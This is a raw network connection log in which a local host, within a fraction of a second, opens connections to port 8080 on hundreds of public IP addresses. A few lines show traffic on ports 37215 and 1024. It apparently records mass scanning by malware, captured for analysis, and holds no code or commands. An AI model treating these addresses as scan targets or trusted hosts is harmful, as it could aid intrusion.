Oct 29, 2024 20:52:38.073014975 CET	56351	8080	192.168.2.13	85.250.202.30
Oct 29, 2024 20:52:38.073018074 CET	56351	8080	192.168.2.13	85.54.61.215
Oct 29, 2024 20:52:38.073035955 CET	56351	8080	192.168.2.13	85.183.47.84
Oct 29, 2024 20:52:38.073040962 CET	56351	8080	192.168.2.13	85.166.92.207
Oct 29, 2024 20:52:38.073055983 CET	56351	8080	192.168.2.13	94.103.123.163
Oct 29, 2024 20:52:38.073055983 CET	56351	8080	192.168.2.13	85.204.51.79
Oct 29, 2024 20:52:38.073060989 CET	56351	8080	192.168.2.13	95.209.159.97
Oct 29, 2024 20:52:38.073071957 CET	56351	8080	192.168.2.13	94.131.176.152
Oct 29, 2024 20:52:38.073081970 CET	56351	8080	192.168.2.13	31.30.12.147
Oct 29, 2024 20:52:38.073086977 CET	56351	8080	192.168.2.13	94.245.30.120
Oct 29, 2024 20:52:38.073129892 CET	56351	8080	192.168.2.13	95.142.155.220
Oct 29, 2024 20:52:38.073142052 CET	56351	8080	192.168.2.13	62.170.219.203
Oct 29, 2024 20:52:38.073163986 CET	56351	8080	192.168.2.13	85.123.168.214
Oct 29, 2024 20:52:38.073163986 CET	56351	8080	192.168.2.13	85.222.97.150
Oct 29, 2024 20:52:38.073172092 CET	37215	33648	197.212.208.236	192.168.2.13
Oct 29, 2024 20:52:38.073172092 CET	56351	8080	192.168.2.13	31.173.43.249
Oct 29, 2024 20:52:38.073175907 CET	56351	8080	192.168.2.13	95.150.77.101
Oct 29, 2024 20:52:38.073179007 CET	8080	56351	85.151.66.251	192.168.2.13
Oct 29, 2024 20:52:38.073184967 CET	8080	56351	95.67.86.123	192.168.2.13
Oct 29, 2024 20:52:38.073189020 CET	8080	56351	31.70.234.67	192.168.2.13
Oct 29, 2024 20:52:38.073193073 CET	8080	56351	31.175.43.53	192.168.2.13
Oct 29, 2024 20:52:38.073194981 CET	56351	8080	192.168.2.13	31.23.117.203
Oct 29, 2024 20:52:38.073200941 CET	56351	8080	192.168.2.13	94.18.134.23
Oct 29, 2024 20:52:38.073204994 CET	8080	56351	31.234.133.130	192.168.2.13
Oct 29, 2024 20:52:38.073210955 CET	8080	56351	94.175.133.203	192.168.2.13
Oct 29, 2024 20:52:38.073215008 CET	8080	56351	95.235.92.207	192.168.2.13
Oct 29, 2024 20:52:38.073220015 CET	8080	56351	31.218.95.95	192.168.2.13
Oct 29, 2024 20:52:38.073220968 CET	56351	8080	192.168.2.13	31.70.234.67
Oct 29, 2024 20:52:38.073225975 CET	8080	56351	94.148.242.181	192.168.2.13
Oct 29, 2024 20:52:38.073230982 CET	8080	56351	85.218.129.115	192.168.2.13
Oct 29, 2024 20:52:38.073232889 CET	56351	8080	192.168.2.13	85.151.66.251
Oct 29, 2024 20:52:38.073235989 CET	8080	56351	31.112.28.120	192.168.2.13
Oct 29, 2024 20:52:38.073242903 CET	8080	56351	31.122.120.26	192.168.2.13
Oct 29, 2024 20:52:38.073244095 CET	56351	8080	192.168.2.13	31.234.133.130
Oct 29, 2024 20:52:38.073251963 CET	56351	8080	192.168.2.13	95.235.92.207
Oct 29, 2024 20:52:38.073251963 CET	56351	8080	192.168.2.13	31.218.95.95
Oct 29, 2024 20:52:38.073252916 CET	56351	8080	192.168.2.13	31.175.43.53
Oct 29, 2024 20:52:38.073252916 CET	56351	8080	192.168.2.13	94.175.133.203
Oct 29, 2024 20:52:38.073261976 CET	33648	37215	192.168.2.13	197.212.208.236
Oct 29, 2024 20:52:38.073261976 CET	56351	8080	192.168.2.13	95.67.86.123
Oct 29, 2024 20:52:38.073271036 CET	8080	56351	95.114.86.7	192.168.2.13
Oct 29, 2024 20:52:38.073272943 CET	56351	8080	192.168.2.13	94.148.242.181
Oct 29, 2024 20:52:38.073275089 CET	56351	8080	192.168.2.13	85.218.129.115
Oct 29, 2024 20:52:38.073276997 CET	56351	8080	192.168.2.13	31.122.120.26
Oct 29, 2024 20:52:38.073278904 CET	8080	56351	85.207.98.139	192.168.2.13
Oct 29, 2024 20:52:38.073282957 CET	56351	8080	192.168.2.13	31.112.28.120
Oct 29, 2024 20:52:38.073285103 CET	8080	56351	31.31.62.42	192.168.2.13
Oct 29, 2024 20:52:38.073291063 CET	8080	56351	95.158.111.132	192.168.2.13
Oct 29, 2024 20:52:38.073295116 CET	8080	56351	62.65.26.120	192.168.2.13
Oct 29, 2024 20:52:38.073299885 CET	8080	56351	62.115.219.18	192.168.2.13
Oct 29, 2024 20:52:38.073304892 CET	8080	56351	31.240.226.64	192.168.2.13
Oct 29, 2024 20:52:38.073307037 CET	56351	8080	192.168.2.13	95.114.86.7
Oct 29, 2024 20:52:38.073308945 CET	8080	56351	85.29.84.232	192.168.2.13
Oct 29, 2024 20:52:38.073316097 CET	8080	56351	95.53.160.185	192.168.2.13
Oct 29, 2024 20:52:38.073316097 CET	56351	8080	192.168.2.13	85.207.98.139
Oct 29, 2024 20:52:38.073317051 CET	56351	8080	192.168.2.13	31.31.62.42
Oct 29, 2024 20:52:38.073322058 CET	8080	56351	62.99.241.42	192.168.2.13
Oct 29, 2024 20:52:38.073327065 CET	8080	56351	85.145.134.248	192.168.2.13
Oct 29, 2024 20:52:38.073331118 CET	56351	8080	192.168.2.13	62.65.26.120
Oct 29, 2024 20:52:38.073331118 CET	56351	8080	192.168.2.13	95.158.111.132
Oct 29, 2024 20:52:38.073333025 CET	8080	56351	85.97.53.55	192.168.2.13
Oct 29, 2024 20:52:38.073348999 CET	56351	8080	192.168.2.13	62.115.219.18
Oct 29, 2024 20:52:38.073354959 CET	56351	8080	192.168.2.13	85.29.84.232
Oct 29, 2024 20:52:38.073354959 CET	56351	8080	192.168.2.13	95.53.160.185
Oct 29, 2024 20:52:38.073358059 CET	56351	8080	192.168.2.13	31.240.226.64
Oct 29, 2024 20:52:38.073365927 CET	56351	8080	192.168.2.13	62.99.241.42
Oct 29, 2024 20:52:38.073368073 CET	56351	8080	192.168.2.13	85.145.134.248
Oct 29, 2024 20:52:38.073368073 CET	56351	8080	192.168.2.13	85.97.53.55
Oct 29, 2024 20:52:38.073379993 CET	56351	8080	192.168.2.13	95.55.70.168
Oct 29, 2024 20:52:38.073389053 CET	56351	8080	192.168.2.13	85.233.144.198
Oct 29, 2024 20:52:38.073432922 CET	51354	37215	192.168.2.13	197.137.202.39
Oct 29, 2024 20:52:38.073442936 CET	56351	8080	192.168.2.13	85.182.224.54
Oct 29, 2024 20:52:38.073451996 CET	56351	8080	192.168.2.13	94.128.227.104
Oct 29, 2024 20:52:38.073457003 CET	56351	8080	192.168.2.13	31.51.122.238
Oct 29, 2024 20:52:38.073477983 CET	8080	56351	31.219.85.30	192.168.2.13
Oct 29, 2024 20:52:38.073507071 CET	56351	8080	192.168.2.13	62.184.4.192
Oct 29, 2024 20:52:38.073512077 CET	56351	8080	192.168.2.13	94.39.25.169
Oct 29, 2024 20:52:38.073518038 CET	56351	8080	192.168.2.13	31.219.85.30
Oct 29, 2024 20:52:38.073528051 CET	56351	8080	192.168.2.13	85.10.221.14
Oct 29, 2024 20:52:38.073543072 CET	56351	8080	192.168.2.13	62.5.167.243
Oct 29, 2024 20:52:38.073548079 CET	56351	8080	192.168.2.13	31.129.81.187
Oct 29, 2024 20:52:38.073563099 CET	56351	8080	192.168.2.13	62.124.45.64
Oct 29, 2024 20:52:38.073573112 CET	56351	8080	192.168.2.13	31.197.233.11
Oct 29, 2024 20:52:38.073580980 CET	56351	8080	192.168.2.13	94.45.197.120
Oct 29, 2024 20:52:38.073607922 CET	56351	8080	192.168.2.13	31.63.22.111
Oct 29, 2024 20:52:38.073607922 CET	56351	8080	192.168.2.13	95.217.104.35
Oct 29, 2024 20:52:38.073617935 CET	56351	8080	192.168.2.13	62.220.5.101
Oct 29, 2024 20:52:38.073630095 CET	8080	56351	95.169.61.243	192.168.2.13
Oct 29, 2024 20:52:38.073636055 CET	8080	56351	85.242.201.12	192.168.2.13
Oct 29, 2024 20:52:38.073637962 CET	56351	8080	192.168.2.13	62.49.255.222
Oct 29, 2024 20:52:38.073640108 CET	8080	56351	94.209.68.139	192.168.2.13
Oct 29, 2024 20:52:38.073645115 CET	8080	56351	95.31.227.45	192.168.2.13
Oct 29, 2024 20:52:38.073648930 CET	8080	56351	62.32.253.212	192.168.2.13
Oct 29, 2024 20:52:38.073649883 CET	56351	8080	192.168.2.13	85.51.15.208
Oct 29, 2024 20:52:38.073649883 CET	56351	8080	192.168.2.13	94.169.112.75
Oct 29, 2024 20:52:38.073652029 CET	56351	8080	192.168.2.13	94.191.134.125
Oct 29, 2024 20:52:38.073653936 CET	8080	56351	62.137.153.187	192.168.2.13
Oct 29, 2024 20:52:38.073658943 CET	8080	56351	94.130.72.24	192.168.2.13
Oct 29, 2024 20:52:38.073664904 CET	8080	56351	94.84.202.153	192.168.2.13
Oct 29, 2024 20:52:38.073668003 CET	56351	8080	192.168.2.13	95.169.61.243
Oct 29, 2024 20:52:38.073668957 CET	56351	8080	192.168.2.13	85.242.201.12
Oct 29, 2024 20:52:38.073668957 CET	8080	56351	62.188.212.134	192.168.2.13
Oct 29, 2024 20:52:38.073676109 CET	8080	56351	95.207.25.144	192.168.2.13
Oct 29, 2024 20:52:38.073678970 CET	56351	8080	192.168.2.13	95.31.227.45
Oct 29, 2024 20:52:38.073679924 CET	8080	56351	31.89.85.192	192.168.2.13
Oct 29, 2024 20:52:38.073688030 CET	56351	8080	192.168.2.13	62.32.253.212
Oct 29, 2024 20:52:38.073688030 CET	56351	8080	192.168.2.13	94.209.68.139
Oct 29, 2024 20:52:38.073689938 CET	56351	8080	192.168.2.13	94.84.202.153
Oct 29, 2024 20:52:38.073693991 CET	56351	8080	192.168.2.13	62.137.153.187
Oct 29, 2024 20:52:38.073693991 CET	56351	8080	192.168.2.13	94.130.72.24
Oct 29, 2024 20:52:38.073698044 CET	8080	56351	94.163.191.185	192.168.2.13
Oct 29, 2024 20:52:38.073704004 CET	8080	56351	62.50.71.89	192.168.2.13
Oct 29, 2024 20:52:38.073708057 CET	8080	56351	62.164.120.205	192.168.2.13
Oct 29, 2024 20:52:38.073710918 CET	56351	8080	192.168.2.13	62.11.29.157
Oct 29, 2024 20:52:38.073712111 CET	8080	56351	94.199.74.48	192.168.2.13
Oct 29, 2024 20:52:38.073717117 CET	8080	56351	94.105.72.147	192.168.2.13
Oct 29, 2024 20:52:38.073721886 CET	8080	56351	85.96.117.58	192.168.2.13
Oct 29, 2024 20:52:38.073725939 CET	8080	56351	62.34.107.128	192.168.2.13
Oct 29, 2024 20:52:38.073730946 CET	8080	56351	94.240.5.252	192.168.2.13
Oct 29, 2024 20:52:38.073731899 CET	56351	8080	192.168.2.13	62.188.212.134
Oct 29, 2024 20:52:38.073731899 CET	56351	8080	192.168.2.13	62.50.71.89
Oct 29, 2024 20:52:38.073731899 CET	56351	8080	192.168.2.13	95.207.25.144
Oct 29, 2024 20:52:38.073736906 CET	8080	56351	31.233.185.246	192.168.2.13
Oct 29, 2024 20:52:38.073736906 CET	56351	8080	192.168.2.13	31.89.85.192
Oct 29, 2024 20:52:38.073745012 CET	8080	56351	85.79.89.24	192.168.2.13
Oct 29, 2024 20:52:38.073746920 CET	56351	8080	192.168.2.13	62.164.120.205
Oct 29, 2024 20:52:38.073746920 CET	56351	8080	192.168.2.13	94.199.74.48
Oct 29, 2024 20:52:38.073755026 CET	56351	8080	192.168.2.13	94.163.191.185
Oct 29, 2024 20:52:38.073757887 CET	56351	8080	192.168.2.13	94.105.72.147
Oct 29, 2024 20:52:38.073757887 CET	56351	8080	192.168.2.13	85.96.117.58
Oct 29, 2024 20:52:38.073760986 CET	56351	8080	192.168.2.13	94.240.5.252
Oct 29, 2024 20:52:38.073767900 CET	56351	8080	192.168.2.13	62.34.107.128
Oct 29, 2024 20:52:38.073772907 CET	56351	8080	192.168.2.13	31.233.185.246
Oct 29, 2024 20:52:38.073777914 CET	56351	8080	192.168.2.13	85.79.89.24
Oct 29, 2024 20:52:38.073788881 CET	8080	56351	95.35.219.255	192.168.2.13
Oct 29, 2024 20:52:38.073793888 CET	8080	56351	62.10.106.123	192.168.2.13
Oct 29, 2024 20:52:38.073797941 CET	8080	56351	85.34.174.27	192.168.2.13
Oct 29, 2024 20:52:38.073802948 CET	8080	56351	31.234.137.150	192.168.2.13
Oct 29, 2024 20:52:38.073807001 CET	8080	56351	94.165.162.100	192.168.2.13
Oct 29, 2024 20:52:38.073822021 CET	56351	8080	192.168.2.13	95.35.219.255
Oct 29, 2024 20:52:38.073822975 CET	56351	8080	192.168.2.13	31.113.169.240
Oct 29, 2024 20:52:38.073818922 CET	56351	8080	192.168.2.13	31.246.211.207
Oct 29, 2024 20:52:38.073822975 CET	56351	8080	192.168.2.13	62.10.106.123
Oct 29, 2024 20:52:38.073827982 CET	56351	8080	192.168.2.13	85.34.174.27
Oct 29, 2024 20:52:38.073844910 CET	56351	8080	192.168.2.13	31.234.137.150
Oct 29, 2024 20:52:38.073854923 CET	56351	8080	192.168.2.13	94.165.162.100
Oct 29, 2024 20:52:38.073878050 CET	56351	8080	192.168.2.13	85.13.35.201
Oct 29, 2024 20:52:38.073879004 CET	56351	8080	192.168.2.13	94.197.75.223
Oct 29, 2024 20:52:38.073889971 CET	8080	56351	31.199.50.109	192.168.2.13
Oct 29, 2024 20:52:38.073892117 CET	56351	8080	192.168.2.13	62.204.182.203
Oct 29, 2024 20:52:38.073895931 CET	56351	8080	192.168.2.13	85.221.233.132
Oct 29, 2024 20:52:38.073905945 CET	8080	56351	85.74.244.77	192.168.2.13
Oct 29, 2024 20:52:38.073911905 CET	8080	56351	94.37.136.180	192.168.2.13
Oct 29, 2024 20:52:38.073916912 CET	8080	56351	31.96.95.232	192.168.2.13
Oct 29, 2024 20:52:38.073921919 CET	8080	56351	85.63.182.236	192.168.2.13
Oct 29, 2024 20:52:38.073926926 CET	8080	56351	85.195.28.230	192.168.2.13
Oct 29, 2024 20:52:38.073929071 CET	56351	8080	192.168.2.13	31.13.162.22
Oct 29, 2024 20:52:38.073930025 CET	56351	8080	192.168.2.13	31.199.50.109
Oct 29, 2024 20:52:38.073930979 CET	8080	56351	95.206.91.49	192.168.2.13
Oct 29, 2024 20:52:38.073935986 CET	8080	56351	94.4.231.20	192.168.2.13
Oct 29, 2024 20:52:38.073940039 CET	8080	56351	31.42.215.195	192.168.2.13
Oct 29, 2024 20:52:38.073945999 CET	8080	56351	95.60.31.225	192.168.2.13
Oct 29, 2024 20:52:38.073947906 CET	56351	8080	192.168.2.13	85.74.244.77
Oct 29, 2024 20:52:38.073950052 CET	8080	56351	62.113.81.52	192.168.2.13
Oct 29, 2024 20:52:38.073956013 CET	56351	8080	192.168.2.13	31.96.95.232
Oct 29, 2024 20:52:38.073956013 CET	56351	8080	192.168.2.13	95.206.91.49
Oct 29, 2024 20:52:38.073964119 CET	56351	8080	192.168.2.13	94.37.136.180
Oct 29, 2024 20:52:38.073965073 CET	56351	8080	192.168.2.13	85.195.28.230
Oct 29, 2024 20:52:38.073967934 CET	8080	56351	95.91.157.85	192.168.2.13
Oct 29, 2024 20:52:38.073970079 CET	56351	8080	192.168.2.13	94.4.231.20
Oct 29, 2024 20:52:38.073972940 CET	56351	8080	192.168.2.13	31.42.215.195
Oct 29, 2024 20:52:38.073973894 CET	8080	56351	85.17.5.223	192.168.2.13
Oct 29, 2024 20:52:38.073973894 CET	56351	8080	192.168.2.13	95.60.31.225
Oct 29, 2024 20:52:38.073975086 CET	56351	8080	192.168.2.13	85.63.182.236
Oct 29, 2024 20:52:38.073978901 CET	8080	56351	95.159.131.48	192.168.2.13
Oct 29, 2024 20:52:38.073987007 CET	56351	8080	192.168.2.13	62.113.81.52
Oct 29, 2024 20:52:38.073990107 CET	56351	8080	192.168.2.13	95.91.157.85
Oct 29, 2024 20:52:38.073992968 CET	8080	56351	62.52.236.172	192.168.2.13
Oct 29, 2024 20:52:38.074001074 CET	8080	56351	95.203.208.209	192.168.2.13
Oct 29, 2024 20:52:38.074013948 CET	56351	8080	192.168.2.13	95.159.131.48
Oct 29, 2024 20:52:38.074018002 CET	56351	8080	192.168.2.13	85.17.5.223
Oct 29, 2024 20:52:38.074037075 CET	56351	8080	192.168.2.13	62.52.236.172
Oct 29, 2024 20:52:38.074055910 CET	56351	8080	192.168.2.13	95.203.208.209
Oct 29, 2024 20:52:38.074074030 CET	56351	8080	192.168.2.13	85.157.76.35
Oct 29, 2024 20:52:38.074075937 CET	56351	8080	192.168.2.13	95.199.191.49
Oct 29, 2024 20:52:38.074090958 CET	56351	8080	192.168.2.13	94.172.47.185
Oct 29, 2024 20:52:38.074101925 CET	56351	8080	192.168.2.13	95.181.140.207
Oct 29, 2024 20:52:38.074107885 CET	56351	8080	192.168.2.13	31.106.195.138
Oct 29, 2024 20:52:38.074156046 CET	56351	8080	192.168.2.13	94.117.133.83
Oct 29, 2024 20:52:38.074172020 CET	56351	8080	192.168.2.13	62.163.195.188
Oct 29, 2024 20:52:38.074172974 CET	56351	8080	192.168.2.13	62.227.103.207
Oct 29, 2024 20:52:38.074173927 CET	56351	8080	192.168.2.13	62.164.37.229
Oct 29, 2024 20:52:38.074217081 CET	56351	8080	192.168.2.13	85.19.198.148
Oct 29, 2024 20:52:38.074238062 CET	56351	8080	192.168.2.13	31.10.62.99
Oct 29, 2024 20:52:38.074240923 CET	56351	8080	192.168.2.13	62.237.97.67
Oct 29, 2024 20:52:38.074249029 CET	56351	8080	192.168.2.13	95.77.153.51
Oct 29, 2024 20:52:38.074281931 CET	56351	8080	192.168.2.13	85.200.192.98
Oct 29, 2024 20:52:38.074299097 CET	56351	8080	192.168.2.13	62.39.117.46
Oct 29, 2024 20:52:38.074307919 CET	56351	8080	192.168.2.13	94.140.224.74
Oct 29, 2024 20:52:38.074321985 CET	56351	8080	192.168.2.13	31.84.204.220
Oct 29, 2024 20:52:38.074350119 CET	56351	8080	192.168.2.13	94.210.7.242
Oct 29, 2024 20:52:38.074359894 CET	56351	8080	192.168.2.13	62.95.223.199
Oct 29, 2024 20:52:38.074371099 CET	56351	8080	192.168.2.13	94.246.247.235
Oct 29, 2024 20:52:38.074378967 CET	8080	56351	85.175.146.188	192.168.2.13
Oct 29, 2024 20:52:38.074385881 CET	56351	8080	192.168.2.13	62.30.49.216
Oct 29, 2024 20:52:38.074388981 CET	56351	8080	192.168.2.13	95.22.181.229
Oct 29, 2024 20:52:38.074394941 CET	8080	56351	31.175.211.188	192.168.2.13
Oct 29, 2024 20:52:38.074394941 CET	56351	8080	192.168.2.13	31.168.38.43
Oct 29, 2024 20:52:38.074403048 CET	8080	56351	94.237.51.163	192.168.2.13
Oct 29, 2024 20:52:38.074404955 CET	56351	8080	192.168.2.13	31.42.2.234
Oct 29, 2024 20:52:38.074408054 CET	56351	8080	192.168.2.13	85.175.146.188
Oct 29, 2024 20:52:38.074415922 CET	56351	8080	192.168.2.13	62.57.52.38
Oct 29, 2024 20:52:38.074424982 CET	56351	8080	192.168.2.13	31.172.14.40
Oct 29, 2024 20:52:38.074428082 CET	8080	56351	85.94.91.63	192.168.2.13
Oct 29, 2024 20:52:38.074429989 CET	56351	8080	192.168.2.13	94.237.51.163
Oct 29, 2024 20:52:38.074434996 CET	8080	56351	62.254.28.194	192.168.2.13
Oct 29, 2024 20:52:38.074441910 CET	8080	56351	95.245.96.8	192.168.2.13
Oct 29, 2024 20:52:38.074443102 CET	56351	8080	192.168.2.13	31.175.211.188
Oct 29, 2024 20:52:38.074462891 CET	56351	8080	192.168.2.13	85.249.87.237
Oct 29, 2024 20:52:38.074465990 CET	56351	8080	192.168.2.13	62.254.28.194
Oct 29, 2024 20:52:38.074470997 CET	56351	8080	192.168.2.13	95.245.96.8
Oct 29, 2024 20:52:38.074471951 CET	56351	8080	192.168.2.13	85.94.91.63
Oct 29, 2024 20:52:38.074481010 CET	56351	8080	192.168.2.13	94.176.73.219
Oct 29, 2024 20:52:38.074492931 CET	56351	8080	192.168.2.13	31.242.25.40
Oct 29, 2024 20:52:38.074498892 CET	56351	8080	192.168.2.13	94.230.93.211
Oct 29, 2024 20:52:38.074502945 CET	8080	56351	85.39.40.183	192.168.2.13
Oct 29, 2024 20:52:38.074510098 CET	8080	56351	31.96.182.10	192.168.2.13
Oct 29, 2024 20:52:38.074511051 CET	56351	8080	192.168.2.13	31.203.105.236
Oct 29, 2024 20:52:38.074515104 CET	8080	56351	62.5.173.245	192.168.2.13
Oct 29, 2024 20:52:38.074521065 CET	8080	56351	62.52.199.124	192.168.2.13
Oct 29, 2024 20:52:38.074526072 CET	8080	56351	85.159.69.169	192.168.2.13
Oct 29, 2024 20:52:38.074526072 CET	56351	8080	192.168.2.13	85.79.236.74
Oct 29, 2024 20:52:38.074531078 CET	8080	56351	85.223.59.65	192.168.2.13
Oct 29, 2024 20:52:38.074534893 CET	56351	8080	192.168.2.13	85.39.40.183
Oct 29, 2024 20:52:38.074534893 CET	8080	56351	94.8.206.14	192.168.2.13
Oct 29, 2024 20:52:38.074541092 CET	8080	56351	94.6.182.121	192.168.2.13
Oct 29, 2024 20:52:38.074544907 CET	56351	8080	192.168.2.13	31.96.182.10
Oct 29, 2024 20:52:38.074546099 CET	8080	56351	85.20.157.53	192.168.2.13
Oct 29, 2024 20:52:38.074554920 CET	56351	8080	192.168.2.13	94.78.107.223
Oct 29, 2024 20:52:38.074558020 CET	56351	8080	192.168.2.13	62.5.173.245
Oct 29, 2024 20:52:38.074563980 CET	56351	8080	192.168.2.13	85.159.69.169
Oct 29, 2024 20:52:38.074567080 CET	56351	8080	192.168.2.13	62.52.199.124
Oct 29, 2024 20:52:38.074567080 CET	56351	8080	192.168.2.13	94.8.206.14
Oct 29, 2024 20:52:38.074568033 CET	56351	8080	192.168.2.13	85.223.59.65
Oct 29, 2024 20:52:38.074578047 CET	8080	56351	95.254.60.161	192.168.2.13
Oct 29, 2024 20:52:38.074587107 CET	56351	8080	192.168.2.13	94.6.182.121
Oct 29, 2024 20:52:38.074588060 CET	56351	8080	192.168.2.13	85.152.143.74
Oct 29, 2024 20:52:38.074599981 CET	56351	8080	192.168.2.13	85.20.157.53
Oct 29, 2024 20:52:38.074599981 CET	56351	8080	192.168.2.13	85.103.79.6
Oct 29, 2024 20:52:38.074600935 CET	8080	56351	31.175.148.85	192.168.2.13
Oct 29, 2024 20:52:38.074606895 CET	8080	56351	62.156.227.237	192.168.2.13
Oct 29, 2024 20:52:38.074606895 CET	56351	8080	192.168.2.13	85.117.157.73
Oct 29, 2024 20:52:38.074611902 CET	8080	56351	31.219.182.254	192.168.2.13
Oct 29, 2024 20:52:38.074616909 CET	56351	8080	192.168.2.13	95.254.60.161
Oct 29, 2024 20:52:38.074619055 CET	8080	56351	31.115.130.206	192.168.2.13
Oct 29, 2024 20:52:38.074620008 CET	56351	8080	192.168.2.13	94.160.64.104
Oct 29, 2024 20:52:38.074626923 CET	8080	56351	31.103.250.235	192.168.2.13
Oct 29, 2024 20:52:38.074629068 CET	56351	8080	192.168.2.13	62.107.205.159
Oct 29, 2024 20:52:38.074629068 CET	56351	8080	192.168.2.13	31.175.148.85
Oct 29, 2024 20:52:38.074635029 CET	8080	56351	31.87.94.132	192.168.2.13
Oct 29, 2024 20:52:38.074637890 CET	56351	8080	192.168.2.13	62.156.227.237
Oct 29, 2024 20:52:38.074644089 CET	8080	56351	62.88.59.55	192.168.2.13
Oct 29, 2024 20:52:38.074641943 CET	56351	8080	192.168.2.13	31.219.182.254
Oct 29, 2024 20:52:38.074651957 CET	8080	56351	31.9.66.82	192.168.2.13
Oct 29, 2024 20:52:38.074656963 CET	8080	56351	62.244.173.240	192.168.2.13
Oct 29, 2024 20:52:38.074661016 CET	56351	8080	192.168.2.13	94.173.77.153
Oct 29, 2024 20:52:38.074661970 CET	8080	56351	94.45.197.43	192.168.2.13
Oct 29, 2024 20:52:38.074661970 CET	56351	8080	192.168.2.13	31.103.250.235
Oct 29, 2024 20:52:38.074661970 CET	56351	8080	192.168.2.13	31.115.130.206
Oct 29, 2024 20:52:38.074666023 CET	8080	56351	62.67.229.11	192.168.2.13
Oct 29, 2024 20:52:38.074666977 CET	56351	8080	192.168.2.13	31.87.94.132
Oct 29, 2024 20:52:38.074667931 CET	56351	8080	192.168.2.13	31.228.145.72
Oct 29, 2024 20:52:38.074671030 CET	8080	56351	62.8.119.114	192.168.2.13
Oct 29, 2024 20:52:38.074671984 CET	56351	8080	192.168.2.13	95.183.149.157
Oct 29, 2024 20:52:38.074675083 CET	56351	8080	192.168.2.13	62.88.59.55
Oct 29, 2024 20:52:38.074682951 CET	56351	8080	192.168.2.13	31.9.66.82
Oct 29, 2024 20:52:38.074690104 CET	56351	8080	192.168.2.13	62.244.173.240
Oct 29, 2024 20:52:38.074692011 CET	56351	8080	192.168.2.13	95.220.120.81
Oct 29, 2024 20:52:38.074698925 CET	56351	8080	192.168.2.13	62.67.229.11
Oct 29, 2024 20:52:38.074698925 CET	56351	8080	192.168.2.13	94.45.197.43
Oct 29, 2024 20:52:38.074706078 CET	56351	8080	192.168.2.13	95.123.40.6
Oct 29, 2024 20:52:38.074723959 CET	56351	8080	192.168.2.13	62.154.221.213
Oct 29, 2024 20:52:38.074723959 CET	41814	1024	192.168.2.13	2.58.113.110
Oct 29, 2024 20:52:38.074724913 CET	56351	8080	192.168.2.13	62.8.119.114
Oct 29, 2024 20:52:38.074748993 CET	56351	8080	192.168.2.13	94.188.176.173
Oct 29, 2024 20:52:38.074759007 CET	56351	8080	192.168.2.13	85.237.100.178
Oct 29, 2024 20:52:38.074771881 CET	56351	8080	192.168.2.13	31.150.65.152
Oct 29, 2024 20:52:38.074771881 CET	56351	8080	192.168.2.13	62.199.17.214
Oct 29, 2024 20:52:38.074779034 CET	56351	8080	192.168.2.13	62.164.199.137
Oct 29, 2024 20:52:38.074791908 CET	56351	8080	192.168.2.13	94.3.148.126
Oct 29, 2024 20:52:38.074805975 CET	56351	8080	192.168.2.13	85.84.203.11
Oct 29, 2024 20:52:38.074861050 CET	56351	8080	192.168.2.13	31.163.211.245
Oct 29, 2024 20:52:38.074878931 CET	56351	8080	192.168.2.13	94.46.171.86
Oct 29, 2024 20:52:38.074879885 CET	56351	8080	192.168.2.13	85.93.26.62
Oct 29, 2024 20:52:38.074898005 CET	56351	8080	192.168.2.13	31.142.29.180
Oct 29, 2024 20:52:38.074903965 CET	56351	8080	192.168.2.13	95.255.158.215
Oct 29, 2024 20:52:38.074907064 CET	56351	8080	192.168.2.13	94.93.176.95
Oct 29, 2024 20:52:38.074934006 CET	56351	8080	192.168.2.13	95.252.110.96
Oct 29, 2024 20:52:38.074951887 CET	56351	8080	192.168.2.13	95.51.5.70
Oct 29, 2024 20:52:38.074965954 CET	8080	56351	94.251.246.126	192.168.2.13
Oct 29, 2024 20:52:38.074965954 CET	56351	8080	192.168.2.13	95.111.64.174
Oct 29, 2024 20:52:38.074976921 CET	8080	56351	85.23.150.26	192.168.2.13
Oct 29, 2024 20:52:38.074980021 CET	8080	56351	85.49.37.30	192.168.2.13
Oct 29, 2024 20:52:38.074981928 CET	8080	56351	85.16.85.198	192.168.2.13
Oct 29, 2024 20:52:38.074986935 CET	56351	8080	192.168.2.13	31.233.41.19
Oct 29, 2024 20:52:38.074986935 CET	56351	8080	192.168.2.13	85.38.224.27
Oct 29, 2024 20:52:38.074986935 CET	8080	56351	94.116.142.176	192.168.2.13
Oct 29, 2024 20:52:38.074995041 CET	8080	56351	85.183.33.2	192.168.2.13
Oct 29, 2024 20:52:38.075000048 CET	56351	8080	192.168.2.13	94.251.246.126
Oct 29, 2024 20:52:38.075010061 CET	8080	56351	62.142.92.166	192.168.2.13
Oct 29, 2024 20:52:38.075010061 CET	56351	8080	192.168.2.13	85.49.37.30
Oct 29, 2024 20:52:38.075016975 CET	56351	8080	192.168.2.13	95.213.198.59
Oct 29, 2024 20:52:38.075016975 CET	56351	8080	192.168.2.13	85.16.85.198
Oct 29, 2024 20:52:38.075022936 CET	56351	8080	192.168.2.13	95.241.60.205
Oct 29, 2024 20:52:38.075032949 CET	56351	8080	192.168.2.13	85.23.150.26
Oct 29, 2024 20:52:38.075040102 CET	56351	8080	192.168.2.13	85.183.33.2
Oct 29, 2024 20:52:38.075042009 CET	56351	8080	192.168.2.13	94.116.142.176
Oct 29, 2024 20:52:38.075050116 CET	56351	8080	192.168.2.13	62.142.92.166
Oct 29, 2024 20:52:38.075061083 CET	8080	56351	31.238.172.150	192.168.2.13
Oct 29, 2024 20:52:38.075067043 CET	8080	56351	31.154.59.130	192.168.2.13
Oct 29, 2024 20:52:38.075077057 CET	8080	56351	62.151.213.145	192.168.2.13
Oct 29, 2024 20:52:38.075078964 CET	56351	8080	192.168.2.13	31.239.94.242
Oct 29, 2024 20:52:38.075082064 CET	8080	56351	94.232.144.149	192.168.2.13
Oct 29, 2024 20:52:38.075087070 CET	8080	56351	62.156.18.1	192.168.2.13
Oct 29, 2024 20:52:38.075092077 CET	8080	56351	85.162.3.74	192.168.2.13
Oct 29, 2024 20:52:38.075095892 CET	56351	8080	192.168.2.13	31.61.45.50
Oct 29, 2024 20:52:38.075095892 CET	56351	8080	192.168.2.13	95.244.51.103
Oct 29, 2024 20:52:38.075098991 CET	8080	56351	31.9.85.245	192.168.2.13
Oct 29, 2024 20:52:38.075105906 CET	8080	56351	31.52.183.64	192.168.2.13
Oct 29, 2024 20:52:38.075109959 CET	56351	8080	192.168.2.13	31.238.172.150
Oct 29, 2024 20:52:38.075114012 CET	8080	56351	62.55.22.93	192.168.2.13
Oct 29, 2024 20:52:38.075118065 CET	56351	8080	192.168.2.13	62.151.213.145
Oct 29, 2024 20:52:38.075118065 CET	56351	8080	192.168.2.13	31.154.59.130
